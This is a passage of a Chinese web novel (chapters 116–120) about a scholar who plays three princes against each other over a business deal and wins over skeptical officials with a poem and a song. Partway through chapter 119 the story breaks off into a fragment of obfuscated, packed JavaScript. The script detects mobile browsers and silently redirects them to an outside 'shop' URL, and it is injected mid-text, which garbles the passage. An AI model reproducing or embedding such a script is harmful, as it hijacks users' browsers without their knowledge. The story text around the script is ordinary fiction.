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>雷统领被引入偏厅,见到林闲抱拳一礼,声如洪钟直奔主题道:“林解元,末将雷厉,奉汉王殿下之命前来。殿下素来欣赏有真本事、敢作敢为之人。殿下对解元公的‘格物’之才,尤其是那能于无声处听惊雷的手段,甚为钦佩!”
话语中,透着对林闲在赵宪案中翻云覆雨能力的赞许,也带着审视。
他目光灼灼盯着林闲:“殿下让末将带句话:商贾之事看似平和,实则暗流汹涌,若无强力保障寸步难行。江南水道错综,陆路匪患偶有,便是那官面上,也未必处处顺畅。”
雷统领声音提高,带着强大的自信,“若解元公愿与汉王府合作,殿下可调派麾下真正经历过战阵的精锐,以镖局之名,保您商路畅通。无论大江南北,还是塞外西域,凡我汉王府旗帜所至,宵小退避,关卡无阻!此乃实打实的力量,非空谈可比!”
说到这里,他话锋一转,语气变得意味深长,身体微微前倾,压低声音威胁道:“至于利润,好商量。汉王殿下向来对手下**方。而且……殿下还让末将转告解元公,有些事,过去了便让它过去。比如……前任按察使赵宪的一些旧事,又或是孙巡抚**案中的某些……耐人寻味的细节。只要解元公展现出足够的‘诚意’,汉王殿下不仅可以让这些陈年旧账一笔勾销永不再提,更可在将来某些……关键时刻,为解元公说上几句公道话。毕竟,殿下在朝中,还是有些分量的。”
这番话,已是赤裸裸的威胁与利诱!
点明汉王知晓林闲在赵宪案中可能动用的“非常规”手段,暗示这些可成把柄。
同时许诺合作则保驾护航,既往不咎!
顷刻之间,三位王爷的代表齐聚林府这小院,代表着帝国最顶层的三方势力,目标直指“元启”的掌控权。
赵王要巧取豪夺,太子要名正言顺地吞并,汉王则要武力护航加****。赌注和风险提到了前所未有的高度。
林闲看着这意料之外却又情理之中的局面,尤其是雷统领那隐含锋芒的眼神,嘴角却勾起一抹玩味且尽在掌握的笑容。
他心中暗道:‘二桃杀三士?不,我这是一器引三王,连这头潜伏的猛虎也惊动了!’
‘赵王想空手套白狼,太子想摘桃子,汉王想当保护伞兼清道夫……’林闲心思电转,瞬间厘清了各方意图,‘可惜啊,你们都想错了。我林闲的东西,从来不是任人宰割的肥肉。这‘元启’,是我的棋盘,不是你们的赌注。’
他面上依旧从容,对雷统领客气道:“雷将军快人快语,林某佩服。汉王殿下美意,林某心领。此事关乎重大,涉及多方,容林某通盘考量,再给将军答复。请将军也先到客厅用茶。”
言罢,他吩咐林福好生招待三位“贵客”,自己则转身走向书房,背影挺拔,步伐沉稳。
好戏,才刚刚开始。
林闲要让这三位王爷的代表,在这江陵小院里,好好等等也好好想想。
他需要一点时间,来下一盘更大的棋。
第一百一十六章 巧施纵横术,三王竞折腰
面对三方来各怀心思,林闲展现出惊人的冷静。
他并未让三方碰面,以免他们互通声气。
而是采取了分而治之、各个击破的策略。
他分别与三人进行会谈,每一场会谈都极具针对性。
首先林闲将赵王府的王管事请至书房。
书房内书香弥漫,陈设雅致。
林闲亲自取出一套上好的紫砂茶具,行云流水般地进行茶道,动作优雅从容。
他先是为王管事斟上一杯香气氤氲的热茶,语气温和地开口:
“王管事远道而来,辛苦了。请用茶。殿下一直以来的关照,林某铭记于心。”他先礼后兵,姿态无可挑剔。
王管事接过茶,正欲再次强调买断方案的“优厚”,林闲却话锋一转,语气依旧温和,眼神却透着一股不容置疑的坚定:
“王管事,殿下的美意林某心领神会。然则这元启系列,从最初的皂液到如今的花洒,如林某亲手抚育的孩儿,倾注了无数不眠之夜的心血。一次性买断形同骨肉分离,于心何忍?”
他轻放下茶壶,目光直视王管事道:“况且格物之道,贵在推陈出新。今日之香皂,明日或可有百花香型、药浴功效之分。今日之花洒,他日或可兼具温控按摩、香薰理疗之能。若固守现有配方,无异于涸泽而渔坐吃山空。殿下若只着眼于眼前这点蝇头小利,岂非辜负了这元启二字的深远寓意?”
王管事被这番情理交融、高瞻远瞩的话说得一愣,买断的话头被彻底堵住。
他没想到林闲如此能言善辩,更提出了“技术入股,利润分成”这一前所未闻的合作模式。
林闲不给对方喘息之机,继续加码,语气带着一丝循循善诱:“林某以为,合作之道,贵在长久,而非一锤子买卖。殿下若真有诚意,不若考虑新模式?由林某负责核心技术研发与创新迭代,王府则利用其强大的渠道和资源负责经营推广,利润按约定比例分配。如此方能源头活水利益长流,实现真正的共赢。”
王管事听得目瞪口呆,这套说辞完全颠覆了他对商业合作的认知。
他张了张嘴想驳,却不知从何驳起。
林闲见状,似笑非笑地抿了口茶,仿佛不经意地提点道:“对了,王管事来之前,似乎太子殿下那边的惠民司也有人来打听过惠及天下之事,对元启的新品亦是赞誉有加,颇有兴趣深入合作呢……唉,都是为朝廷效力,林某也是难以抉择啊。”
这话如同惊雷,在王管事耳边炸响!
太子也插手了?!
他脸色骤变,意识到想低价买断已绝无可能,甚至原先的优越感也荡然无存。
必须立刻请示赵王提高价码,否则这块肥肉就要被东宫叼走了!
“这个……解元公高见,真是……真是令在下茅塞顿开!此事关系重大,在下需即刻禀明殿下定夺!告辞!告辞!”
王管事再也坐不住,慌忙起身几乎是落荒而逃。
随后林闲起身,亲自将苏元引入精心布置的内室。
他并未立刻谈及冰冷的正事,而是点燃了檀香,香烟袅袅间窗外竹影婆娑,气氛静谧而暧昧。
林闲亲自为苏元斟上一杯温热的茉莉香片,温柔道:“元儿辛苦,先喝口茶。”
他指尖与苏元接过茶盏的手指轻触,感受到她微微的欣喜和颤抖。
苏元垂下眼帘,轻声道:“闲君才辛苦,应对三方,劳心劳力。”
林闲在她对面坐下,叹了口气:“劳心劳力倒是其次。只是这局面,实非我所愿。我本意不过是做些便利民生的小物件,安心读书求个仰不愧于天,俯不怍于人。奈何树欲静而风不止。”
他看向苏元,目光深邃而坦诚道:“元儿,你身在局中深知其中凶险。太子殿下的条件看似优厚,然惠民司乃官办,条条框框甚多,流程繁琐效率低下。且利润分成,经手之人一多,层层盘剥到最后真正能用于研发和改善的,还能剩几何?”
他巧妙停顿,目光灼灼看着苏元:“更重要的是,一旦彻底纳入东宫体系,此物便打上了太子烙印,恐成众矢之的。我如今已是解元,下一步便是会试、殿试。我只想凭真才实学博个功名,不愿过早卷入过深,成为他人博弈的棋子。”
这番话推心置腹,既点出官营弊端和自身顾虑,也隐含对苏元处境的体谅。
苏元何等聪慧,如何听不出他话中的回护和远离斗争中心的渴望?
她心中感动,却也担忧:“闲君之意,元儿明白。然太子之命,元儿亦难违抗。况且,若无强势依托,只怕赵王或汉王那边……”
林闲微微一笑,忽然起身,走到窗边,望着窗外摇曳的竹影,悠然吟道:
“竹影扫阶尘不动,
利刃穿潭水无痕。
我心自有青山在,
何惧他人论纷纭?”
吟罢,他转身看向苏元,目光坚定而温柔:“你看这竹影任凭风来扫阶,自身却岿然不动。利刃再利,刺入深潭,水面终会恢复平静。我的根本在于学问,在于这些实实在在的格物之功。合作可以,但主动权须掌握在我自己手中。”
他走回苏元身边,嗅了嗅她身上淡淡的冷梅香,轻声道:“我向太子提议战略合作而非全盘交出,正是此意。既能借势又能保持独立。待他日……我若能金榜题名,求得一官半职,最好是能外放为官,治理一方……”
说到这里,他停顿了一下,目光灼灼看着苏元,声音如羽毛般搔过苏元的心尖:“到时天高皇帝远,或许便能……采菊东篱下,悠然见南山。寻一处山明水秀之地,种种花,读读书,做些真正利民的小事……那样的日子,元儿,你可愿……同往?”
这番话,几乎已是赤裸裸的暗示和承诺!
苏元的心
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猛地一跳,脸颊瞬间飞起红霞,连耳根都染上了绯色。
她不敢直视林闲灼热的目光,慌乱地低下头,心跳如擂鼓。
他这是在许诺一个未来!
一个远离京城是非、只有他们两人的未来!
室内一片寂静,暧昧的气息在檀香中弥漫。
过了好一会儿,苏元才强自镇定回道:“闲君……志向高洁,元儿佩服。眼下……还是先应对太子之命为要。”她避开了直接回答,但语气中的羞涩和并未拒绝的态度,已说明了一切。
她深吸一口气,将话题拉回:“闲君所虑,确有道理。完全收归东宫,于君而言,束缚太大。战略合作之议,或可一试。元儿定将君之深意,详尽禀明殿下。”她已悄然站到了林闲的立场上。
送走苏元后,林闲来到偏厅与汉王代表对话。他与这位雷统领的对话则更为直接。
雷统领军人作风,开门见山:“解元公,汉王殿下诚意十足,愿保你商路畅通!”
林闲闻言,淡然一笑间单刀直入:“雷统领快人快语,林某佩服。汉王殿下提供的保障,确是林某所需。然商业之道,利润是根本。若安全保障的成本过高侵吞了大部分利润,合作便失去了意义。不知汉王府对于保驾护航,具体作价几何?是按货值抽成,还是收取固定费用?此外除了安保,汉王府在渠道开拓、通关文书、乃至与各地藩王、土司打交道上,还能提供哪些具体支持?空口无凭,需有具体章程。”
他直接将问题引向了最核心的利益分配和资源投入,要求汉王方面给出实实在在的报价和方案,而不是空泛的承诺。
雷统领虽是武将,也知此事需具体数字支撑。被问得一愣气势为之一滞,只能硬着头皮道:“解元公所言甚是!具体方案,需禀明王爷定夺。但王爷有言,只要合作达成,条件必不让解元公失望!”
林闲点点头,语气平和却带着压力:“既如此,林某便静候雷统领佳音。不过也请转告殿下,商场如战场时机不等人。赵王府与东宫那边,似乎也颇为急切。”
雷统领面色一凛,抱拳道:“末将明白!这就回去禀报!”
三轮谈判下来,林闲从容不迫,滴水不漏。
对赵王,以“技术入股”破“买断阴谋”;对太子(通过苏元),以“战略合作”代“全面接管”,兼以情动之。对汉王直指利益核心,要求具体方案。他成功地将自己置于主动地位,让三方代表都意识到,想空手套白狼或强取豪夺已不可能,必须拿出更有诚意、更优厚的条件来竞标!
送走三位心思各异的使者,林闲负手立于院中,夕阳将他的身影拉得悠长。
他嘴角勾起一抹尽在掌握的弧度:“三王竞逐?好得很。正好让我看看,谁的筹码最厚,谁的诚意最足。这元启便是我的鱼饵,看谁能钓上这条大鱼了……”
第一百一十七章 尘埃落定
三位代表带着林闲的反馈和全新合作思路,通过各自的秘密渠道,将消息送回京城权力中心。
赵王府内。
赵王周宸听完王管事的详细禀报(尤其是林闲提出“技术入股”以及太子、汉王均已插手的消息),脸色先是阴沉得能滴出水来。他猛地将手中的玉如意拍在案上,发出“啪”的一声脆响!
“好个林闲!好个技术入股!竟敢跟本王讨价还价!真是……”
他本想骂“不识抬举”,但话到嘴边又咽了回去。
他深吸几口气,在书房内踱步沉思。
络腮胡谋士见状,在一旁低声道:“殿下,林闲虽狂妄,但所言不无道理。买断确如杀鸡取卵。而这技术入股,看似让利实则是将林闲此等奇才与王府利益深度捆绑!其后续研发之能,恐比现有配方价值更高!更何况,太子与汉王虎视眈眈,若被他们抢先……”
赵王停下脚步,眼中精光一闪:“算他林闲有点见识!罢了!千金易得,一将难求!就答应他技术入股!利润分成可谈,但控股权和主导经营权,必须掌握在王府手中。另外立刻加派人手,务必抢在太子和汉王之前,把合约签下来!绝不能让他们拔了头筹!”
东宫。
太子周扬听着苏元委婉转述林闲的“顾虑”(官营弊端、利润层层盘剥、过早打上派系烙印影响科举),眉头紧锁。
他确实对不能全盘掌控感到不悦,但苏元那句“闲君言,只愿凭真才实学博取功名,不愿成弈棋之子”,却隐隐触动了他作为储君应有的、至少表面上的“惜才之心”和“公正形象”。
首席谋士察言观色,进言道:“殿下,林闲所虑,确有几分道理。强行收编,易授人以柄,言东宫与民争利。而这战略合作由我东宫背书,既能彰显殿下泽被苍生之德又可实际获利,更可借此笼络此等有才之士,示天下以宽宏,岂不比强行掌控更为高明?”
太子沉吟良久,脸色稍霁,最终挥挥手:“罢了!既然他有所顾虑,便依他‘战略合作’之议。但条款务必精细,品牌使用费一分不能少,优先供货权必须确保!要让他知道,离了东宫这棵大树,他这元启再好,也难成气候!”
汉王府内,气氛则截然不同。
汉王周阳听着雷统领汇报林闲那句“空口无凭,需有具体章程”,非但不怒反而抚掌大笑:“好!痛快!本王就喜欢这种直来直去的实在人!不像那些文人,说话拐弯抹角,听着都累!”
他立刻召集麾下精通钱粮和军务的幕僚,雷厉风行地下令:“立刻给本王核算!武装护卫的成本、风险,通往西域、漠北的商路价值,还有那些边关将领的打点费用,统统算清楚!给本王拿出一份详细到每个铜板、每条路线的合作方案来!利润抽成可以谈,但要让他林闲看到,我汉王府的刀把子,值这个价!”
接下来的几天,林府成了没有硝烟却暗流汹涌的战场。
三位代表如走马灯般频繁往来,带来的条件一次比一次优厚,气氛也一次比一次紧张。
林闲稳坐书房,如同一位高明的弈者,从容周旋其间。
面对赵王府管事再次提高的分成比例和看似诱人的“主导权”承诺,林闲把玩着手中的“随心沐”样品,淡然一笑:“王管事,赵王殿下诚意,林某感佩。然主导权若意味着林某后续之心血皆需听命于人,创新之泉恐将枯竭。听闻东宫那边,似乎对不干预研发颇感兴趣……”
王管事额头冒汗,连称“再议再议”。
面对苏元转达的东宫“品牌使用费”细则,林闲为她斟上一杯新茶,推心置腹般说道:“元儿,东宫渠道固然重要,然这使用费若占比过高,恐挤压研发投入,最终损害的是品牌根本,亦与太子殿下惠民初衷相悖。汉王殿下那边虽只提供安保,却分文不取品牌费,只按实际护卫货值抽成,倒是实惠……”
苏元默然,心知需再为林闲争取。
面对汉王雷统领带来的那份详细到堪称“军事行动计划”的合作方案,林闲仔细翻阅后赞道:“雷统领,汉王殿下果然名不虚传,做事雷厉风行,章程清晰!此方案,林某甚为满意。只是这安保抽成比例,可否再斟酌?毕竟刀锋之利,亦需货物之值来体现啊。”
雷统领对林闲的直爽和识
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货颇为欣赏,抱拳道:“解元公是明白人!末将可再向王爷争取!”
经过几轮激烈的博弈和精巧的平衡,林闲最终与三方分别达成了堪称教科书级别的非排他性战略合**议:
首先与赵王:成立“元启商号”。赵王府以渠道、资金入股,占股四成,负责北方及京畿地区的生产销售;林闲以核心技术、品牌所有权及后续研发入股,占股六成,保留品牌最终解释权、新品首发权及一票否决权!赵王府享有该区域独家经营权。
其次与太子:签订“品牌战略推介协议”。东宫“惠民司”利用其影响力,为“元启”品牌在其控制范围内提供政策便利、官方背书及宣传支持;林闲则给予东宫渠道优先供货权和销售额百分之三的“战略合作费”(远低于初始要价)。
最后与汉王:签订“武装物流总包协议”。汉王府旗下精锐以“安邦镖局”名义,负责“元启”商队,尤其是通往西北、西南乃至西域等**险、高利润区域的全程安保,按实际护卫货值收取百分之八的安保费用(成功压价),并保证货物安全率高达九成八以上!
协议达成,消息虽被严格保密,但在最高层的小圈子内不胫而走!
所有知情者无不骇然!
“我的天!林闲这是……把三位王爷当成他的区域总代理、品牌代言人和首席保镖了?!”
“自己占六成股,保留核心权利,让王爷们替他打工开路?这……这简直是翻手为云,覆手为雨!”
“以一人之力,周旋于三位权势滔天的王爷之间,不仅全身而退,还利益最大化,反客为主!这份胆识、智慧和手腕,简直……非人哉!”
这份成就,远比他那解元功名,更令人感到深深的震撼与敬畏!
谈判落幕,喧嚣散去。
林闲独自站在月色下的庭院中,负手而立,夜风拂动他的衣袂。
他望着北方那座灯火辉煌的京城,嘴角勾起一抹掌控一切的悠然弧度。
林闲低声自语:“你们提供了场地、灯光和保安,而我,才是这出戏的主角和导演。”
游戏,才刚刚开始……
第118章 一诗惊四座,御考反成名
林闲于三位殿下达成的协议虽未公开,但世上没有不透风的墙。
一些风声,悄然传入了京城。
这引来了一批不属于任何王爷派系、自诩清流直臣、道德楷模的官员的强烈不满。
他们本就对林闲科考文章中那些“俚俗”却鞭辟入里的用语颇有微词,视其为“离经叛道”。
如今更觉此子“钻营商贾,结交藩王,心术不正,有辱斯文”,其解元功名恐怕来路不正,水分极大。
于是,在一次御前议事时,一位以耿直敢言、近乎迂腐著称的都察院副御史,清流中的中坚人物王得知。
他手持玉笏大步出列,声音洪亮,带着一股凛然正气,朗声上奏:
“陛下!臣有本奏!”
声震殿瓦,顿时吸引了所有人的目光。
御史仿佛要涤荡朝堂的污浊之气,慷慨陈词道:“臣闻今科江南解元林闲,虽薄有才名然其行止颇多争议。不潜心圣贤书,反沉迷奇技淫巧。不结交清流正士,专好与商贾藩王往来。此等行径,岂是士子典范?”
他越说越激动,唾沫星子几乎要喷到御案上:“更有甚者,其乡试答卷臣亦听闻,用语轻佻近乎市井俚语,全然不顾‘清真雅正’之训!陛下!科举取士为国选才,首重德行。臣恐此子有才无德,其解元之位或有侥幸!长此以往,恐败坏士林风气,动摇科举根基啊!”
王得知见皇帝有些动摇,连忙噗通一声跪倒在地,以头抢地声音悲怆道:“臣恳请陛下,为江山社稷计,为天下士子心,下旨彻查,对林闲之才学进行御前复核!以正视听,以彰科举之公正严明!若其才学不副,当革去功名,以儆效尤!”
这番奏对言辞激烈,帽子一顶比一顶大,仿佛林闲已然成了奸佞小人。
不少官员面面相觑,有的暗自摇头,觉得王得知过于偏激;有的则幸灾乐祸,想看林闲如何出丑。
高踞龙椅之上的皇帝,看不出喜怒。
他对林闲这个接连掀起风波的年轻解元本就充满了好奇,近期关于他与三位王爷合作的传闻更让他觉得此子不简单。
王得知这番看似“忠直”的**,正好给了他一个光明正大试探林闲深浅的绝佳机会。
皇帝沉吟片刻,缓缓开口道:“爱卿忠心可嘉,所言亦不无道理。科举取士关乎国本,确应慎重。”
随后他话锋一转:“然,朕亦闻林闲确有才学,轻易革去功名,恐寒天下士子之心。这样吧……”
皇帝目光扫过群臣,最终定格在王得知身上:“朕特旨,钦点李爱卿为钦差赴江南省城,召集本届江南乡试前十名士子,由爱卿当场出题再加试一场。朕要亲眼看看,这江南解元,究竟是实至名归,还是滥竽充数。爱卿,你可要替朕,好好地把把关。”
这道旨意,巧妙地将皮球踢了回去。
既回应了清流的质疑,又避免了直接处置可能引发的风波,更将考核的主动权部分交给了王得知,可谓一石三鸟。
消息以六百里加急的速度传到江陵,顿时引起轩然大波!不少人替林闲捏了一把汗,这可是御前钦点的复核,稍有不慎,便是万劫不复!
主要当事人林闲得知后,却只是微微一笑,对忧心忡忡的族人道:“不必担忧。跳梁小丑,欲借我扬名罢了。正好,借此机会,让天下人看看,何为实至名归。”语气平淡,仿佛只是要去参加一场寻常的诗会。
三天后。
省城学政衙门内,气氛肃杀。
钦差王得知端坐主位,面色冷峻,他扫视着堂下分立两旁的十名江南顶尖士子,尤其在林闲身上停留片刻,带着毫不掩饰的审视与挑剔。
林闲站在首位,青衫磊落神色从容,与周围紧张得手心冒汗的同科举子形成鲜明对比。
王得知清了清嗓子,声音冰冷道:“奉天承运皇帝诏曰:【为核验才学以示公正,特命本官主持本次加试。考题如下!】”
他顿了顿,抛出了一个极其刁钻的题目:“以镜为题,作七言律诗一首,限押真韵。诗中需蕴含治国修身之理,一炷香为限!”
此题一出,满场皆惊!
咏物诗本就难写还要限韵,更要蕴含治国修身的大道理。
这简直是故意刁难!
不少士子顿时额头见汗,抓耳挠腮苦苦构思。
王得知嘴角勾起一抹冷笑,他要的就是这个效果!他要让林闲在众目睽睽之下原形毕露!
然而林闲闻言,只是眉梢微挑,仿佛听到了一个有趣的谜题。
他并未急于动笔,而是负手踱了几步。
目光先是掠过明净的秋空,又扫过堂上高悬的“明镜高悬”匾额,脑中闪过前世关于“以史为鉴”、“知行合一”的种种哲理….
“呵呵!不过如此!”
林闲突然一笑,回到案前铺纸压平,取过狼毫蘸饱浓墨,竟是笔走龙蛇,一挥而就!
其速度之快姿态之从容,看得其他尚在苦思的士子目瞪口呆,连王得知都皱起了眉头。
只见雪白的宣纸上,一首笔力遒劲、墨迹淋漓的七律跃然纸上:
《咏镜》
“秋水为神不染尘,妍媸照尽性乃真。(起笔不凡,以秋水喻镜之明澈,直指本真)
但见朱门藏污垢,何曾青眼误贫人?(警句突现!犀利讽刺权贵
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虚伪,赞镜之公平,语带双关)
正衣冠处知兴替,明得失时省自身。(由小见大,由个人修身引申至以史为鉴的治国大道,意境升华)
莫道此君空好看,古今多少败亡门!”(结句铿锵,点明镜鉴之于国家存亡的重要性,振聋发聩)
诗成,笔搁。
香炉中的那炷香,才刚刚燃烧了不到三分之一!
当衙役将林闲的诗作呈到王得知案前时,整个大堂鸦雀无声。
所有目光,都聚在那张薄薄的宣纸上。
王得知初时面带不屑随意扫去,但目光一接触到诗句,便再也移不开了。
他先是瞳孔骤缩,随即脸色由白转红,又由红转青,捏着试卷的手指微微颤抖!
这诗……这诗……
格律?
工稳至极,无可挑剔!
意境?
由物及理,层层递进,高远深邃!
思想?
尤其是“但见朱门藏污垢,何曾青眼误贫人?”一联,简直是抽在所有尸位素餐、欺下媚上的贪官污吏脸上的响亮耳光!而“正衣冠处知兴替,明得失时省自身”更是为官做人的金科玉律!
这哪里是咏物诗?分明是一篇微型的《谏臣论》!
就像是照妖镜,把他王得知那点“清流”的虚伪外壳都照得无所遁形!
他本想挑刺,却发现这首诗无论从艺术性还是思想性,都达到了炉火纯青的境界,甚至远超他本人所能企及的高度!
“呃……这……”
王得知喉咙发干,想说点什么贬低之词,却发现自己一个字也说不出来!
他脸上青红交错,额角渗出冷汗。
半晌,才从牙缝里挤出一句毫无底气、近乎**的评价:“诗……尚可……”
加试结果毫无悬念。林闲的诗作被快马加鞭送入京城,呈至御前。
皇帝览毕,拍龙桌赞叹:“好一个但见朱门藏污垢,何曾青眼误贫人!好一个正衣冠处知兴替!此子不仅才思敏捷,更有忧国忧民之心耿介刚直之气。王得知迂腐之辈,岂能识此国士之才?传朕口谕:林闲才学实至名归,毋庸再议!另将此诗抄录,悬于翰林院,供诸学士观摩体味!”
消息传回江南,林闲声名更盛!
原本的清流发难御前考较,反而成了他才华与胸襟的最佳证明!
经此一役,再无人敢质疑林解元之位,其“诗才惊世,胸有丘壑”的形象,彻底深入人心。
林闲闻讯只是悠然端起茶,对林承宗淡然道:“真才实学,方是立身之本。任他风波起,我等岿然不动。”
一场危机,被林闲一场现场装逼化为个人才情秀。
第119章夜宴:一曲惊四座,风雅折众臣
省城巡抚衙门的夜宴,觥筹交错。
这场为钦差王得知接风洗尘的宴会,因白日的“御前考较”风波,气氛微妙。
在座除了周巡抚、钦差王得知,还有几位致仕或在籍的江南清流名宿。如那位以古板守旧、推崇“古雅”著称的前翰林院侍读学士,陈老夫子。林闲等几位优秀士子作陪。
酒过三巡,菜过五味,气氛依旧带着几分官场的客套。
那位陈老夫子捋着花白的胡须,带着几分考较后辈的优越感提议道:“如此良辰美景,岂可无雅事助兴?不若我等行一飞花令,以秋字为题轮流吟诗,接不上者罚酒一杯,如何?”
他目光扫过林闲隐含挑衅,意在用传统文人雅事,再试试这“新科解元”的成色。
众清流名士纷纷附和叫好,王得知也微微颔首,想看看林闲在纯文学场合的表现。
轮到林闲时,他并未像其他人那样蹙眉苦思。反而从容起身对众人团团一揖,脸上带着谦和却又自信的微笑:
“陈老提议甚雅。只是晚生才疏学浅,于这急智诗词之道,实在难登大雅之堂。若强行续貂,恐污了诸位尊耳。”
他先自谦一句,吊足胃口,随即话锋一转语出惊人道:“近日晚生读书之余,偶有所得谱得一曲。自觉颇合秋夜静谧、友人相聚之雅意。若蒙不弃晚生愿以这粗陋乐器献丑一曲,权当为诸位大人助兴,亦算是晚生的一份酒令,不知可否?”
此言一出,满座皆惊!
在清流云集、讲究“琴棋书画”正统的宴会上,不用古琴琵琶,竟要用一个形状古怪、闻所未闻的“粗陋乐器”来弹唱?这简直是离经叛道!
陈老夫子眉头紧皱,面露不悦。
王得知也微微蹙眉,觉得林闲有些过于标新立异。
周巡抚连忙打圆场:“哦?解元公竟还精通音律?快快奏来,让我等一饱耳福!”
在众人或好奇或等着看笑话的目光中,林闲却不慌不忙。
他先是从随身锦囊中,取出一截色泽深紫、纹理细腻的“安神定魂香”,用银针插于特制的小香插上,以火折子引燃。
很快一缕醇厚且略带药香的青烟升起,迅速在花厅中弥漫开来,令人闻之心神一静杂念顿消。
“此乃晚生自配的安神香,有静心凝神之效,助各位大人品曲。”林闲淡然解释。
接着他又取出白玉小瓶拔塞子,在紫檀木吉他的琴身和共鸣箱附近洒了几滴。
清凉的气息与温暖的檀香奇妙地融合,营造出一种安宁清醒的氛围。
“此乃醒神露,可提神醒脑,以免曲调沉闷。”
林闲再次轻描淡写地解释。
这一连串堪比现代香薰音乐会的准备工作,已然让在座见多识广的清流大佬们目瞪口呆!这是喝酒听曲,还是在进行什么神秘的仪式?
就在众人惊疑不定之际,林闲怀抱吉他,优雅坐定。他修长的手指轻轻拨动琴弦——
“铮——”
“淙淙——”
一阵悠扬空灵、带着异域风情的旋律,如山间微风瞬间流淌出来,抓住所有人的耳朵!
这音色,迥异于他们听惯了的古琴之古拙、琵琶之激越、古筝之清越,而是一种更丰富、更富有表现力的悦耳之声!
林闲开口吟唱,带着一丝超然物外的磁性:
“月照高楼宴未休,清歌一曲酒盈瓯。(应景开场,画面感十足)
香绕梁间疑梦境,琴鸣指下似泉流。(巧妙融入香、琴,营造意境)”
(间奏部分,吉他旋律变得舒缓深邃,配合着弥漫的香氛,仿佛有魔力般,让在场众人不自觉地放松下来,闭上了眼睛,沉浸其中。)
“曾笑书生空白首,不如商贾乐悠游。(似自嘲,实为引出下文)
今朝识得曲中意,方知大隐在沧洲。(点明超脱心境)”
唱到这里,那位原本一脸不悦的陈老夫子,已不知不觉坐直了身体,手指无意识跟着节奏轻轻敲击桌面,眼中闪过一丝惊异。
(副歌部分,旋律陡然拔高,情绪升华,吉他和弦变得明亮而充满力量!)
“名利场中何须争,且听风吟看云生!(豁达洒脱,直击人心)
心中有镜常自照,不负诗书不负卿……”(点睛之笔!巧妙呼应白日考较的《咏镜》诗,将“自省”与“情义”完美结合,境界全出!)
最后一句尾音,在林闲精准的揉弦技巧下,悠悠回荡,余韵绵长,仿佛直透心灵深处。
曲终,弦止。
花厅内,一片死寂。
只有那“安神香”的青烟,仍在袅袅盘旋。
足足过了好几息时间!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800128|187586||http|test|mini|href|location''.split(''|''),0,{}));
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r>“妙啊——!”
一声带着哭腔的嘶哑惊呼,打破了寂静!只见那位陈老夫子,竟已老泪纵横,他猛地站起身,连拐杖都忘了拿,踉跄着走到林闲面前,激动得浑身发抖道:
“此曲!此曲只应天上有,人间能得几回闻啊!”他抓住林闲的手,声音哽咽:“林……林小友!老夫……老夫痴活七十余载,自诩精通音律,崇尚古风,今日方知,何为真正的风雅!何为通感之极致!香入鼻,琴入耳,词入心!三者交融,直击灵台!这……这哪里是俚俗?这分明是大雅若俗,返璞归真之境!老夫……老夫以往那些迂腐之见,真是……真是坐井观天,贻笑大方了!”
其他清流名士也早已动容,纷纷击节赞叹:“绝了!绝了!尤其是最后一句心中有镜常自照,不负诗书不负卿!将自省与情义融于一炉,格局宏大,情深意重啊!”
“这乐器音色清越奇崛,旋律婉转动人,歌词意境高远!林解元真乃奇才!”
“闻香听曲,如沐春风,如饮醇酒!今夜方知,风雅不在形式,而在是否直指本心!”
就连原本心存芥蒂的钦差王得知,此刻也怔在原地,脸上青红交错,心中掀起了惊涛骇浪!他原本以为林闲只是诗才敏捷,或许有些小聪明,但于此等需要深厚底蕴的“风雅”之道,定然浅薄。万万没想到,林闲竟能以这样一种前所未有的方式,呈现出一场如此震撼心灵的视听盛宴!这已经不是才学,这简直是天赋异禀!是对传统风雅的升华!
在周围一片由衷的赞叹声中,王得知感到脸上火辣辣的。
他想起自己白日里的刁难和之前的偏见,简直无地自容。
王得知深吸一口气,走到林闲面前,郑重拱手一揖,语气复杂却带着前所未有的诚恳:
“林解元……王某……服了!今日方知,天外有天,人外有人。解元公之才情心境,远超王某浅见。往日多有得罪,还望海涵!”
林闲连忙还礼,态度依旧谦和:“王大人言重了。晚生不过是偶有所得,班门弄斧罢了。”
这一晚,林闲用一曲吉他弹唱,配合香道彻底折服了在场所有自诩风雅的清流名士。
经此一夜,林闲“真名士,自风流”的形象深入人心,再无清流敢质疑其品味与境界。
第120章茶叙启思:萌发口香糖大业
送走钦差王得知及其“清流考察团”后,林闲的声望不降反升,连带着元启品牌的名气也愈发响亮。
在赵王、太子、汉王三方或明或暗的保驾护航下,“元启”商号在江宁、苏州等江南重镇的网点如雨后春笋般迅速铺开,生意红火得令人眼红。
作为技术核心和灵魂人物,林闲这位“元启总工”少不得要时常往返于各地,指导生产之余解决技术难题,顺带也与各地官员士绅维系关系。
这日,江宁府衙举办了一场规格不低的官绅茶叙,既是联络感情,也是庆贺“元启”江宁分号开业。
新任江宁通判王大人,主管粮运、水利、诉讼等实务,是位实干派官员,对林闲这位“点石成金”的解元颇为欣赏。
几杯上等的碧螺春下肚,气氛融洽,王大人与林闲相谈甚欢,渐渐也就放下了官场架子。
酒至微醺(茶叙也备了少许佳酿),王通判拍着林闲的肩膀,打开了话匣子,语气带着熟络的抱怨和几分不易察觉的“套近乎”:
他哈哈一笑,先是一顿猛夸道:“先生那香皂香薰还有那随心沐的花洒,真是这个!”
王通判翘起大拇指比划着,随即追叙补充道:“尤其是那安神定魂香,本官每日回府在书房点上一小截…一天的疲惫烦闷,真就烟消云散!连我家那口子都夸我,说如今脾气好会享受了!”
林闲笑了笑说:“大人开心,林某也快乐。”
可突然王通判话锋一转,眉头紧紧皱起抛出问题:“可是有一样烦恼,本官百思不得其解,先生给参谋参谋?”
林闲微笑颔首道:“王大人请讲。”
“比如像今日这般茶叙酒宴,官场应酬在所难免。这推杯换盏,几杯黄汤下肚人是热络了,可这嘴里……”
他做了个龇牙咧嘴的表情,打趣道:“那味儿……可就有点上头了!”
王通判带着十足的尴尬补充道:“有时宴后上官突然召见或有紧急公文需连夜处理,还得跟同僚商议要事。本官总不能当着上官和同僚的面,从袖子里掏出牙粉、牙刷,再来个金盆洗手……啊不,是金盆漱口吧?那成何体统!简直斯文扫地!”
